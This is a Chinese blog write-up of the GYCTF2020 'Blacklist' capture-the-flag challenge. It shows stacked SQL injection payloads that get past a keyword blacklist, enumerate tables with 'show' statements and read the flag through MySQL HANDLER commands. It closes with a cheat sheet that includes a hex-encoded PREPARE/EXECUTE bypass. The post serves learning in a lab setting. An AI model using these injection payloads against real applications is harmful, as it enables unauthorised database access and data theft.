[GYCTF2020]Blacklist

[GYCTF2020]Blacklist

Step 1

输入1,回显:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

稍微尝试注入:

/?inject=1'+union+select+1,2,3;#

回显:

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

发现这些关键字被过滤了。

Step 2

发现可以堆叠注入:

/?inject=1';show databases;#

有回显:

array(1) {
  [0]=>
  string(11) "ctftraining"
}

查表:

/?inject=1';show tables;#

回显:

array(1) {
  [0]=>
  string(8) "FlagHere"
}

查列:

/?inject=1';show columns from FlagHere;#

回显:

array(6) {
  [0]=>
  string(4) "flag"

但是不能用select去查询,于是可以采取mysql的handler(handler命令也可以像select一样进行查询):

/?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
array(1) {
  [0]=>
  string(42) "flag{~}"
}

堆叠注入

堆叠注入和平常的注入不同,平常类型的注入主要靠的已有的select(通常是)进行查询操作,而堆叠就是利用分号进行隔断,再进行新一行的sql命令。

主要原因

mysqli_multi_query($sql1,$sql2);

具体注入方法:

查库
';show databases;
查表
';show tables;

';show columns from [table_name];

';select [column_name] from [table_name];

';SeT @a=0x73656c656374202a2066726f6d205b7461626c655f6e616d655d;prepare execsql from @a;execute execsql;

Handler命令

HANDLER命令是MySQL中的一种特殊命令,它允许用户在底层与表的存储引擎直接交互。通过HANDLER,你可以打开一个表,然后逐行读取数据,而不需要使用SELECT语句。这种底层的访问方式在某些场景下可以提供更高的性能,尤其是在需要批量处理大量数据的情况下。

语法:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE

参考:MySQL HANDLER命令:一种独特的表数据访问方式

posted @ 2024-07-30 13:03  8o1er9t  阅读(5)  评论(0编辑  收藏  举报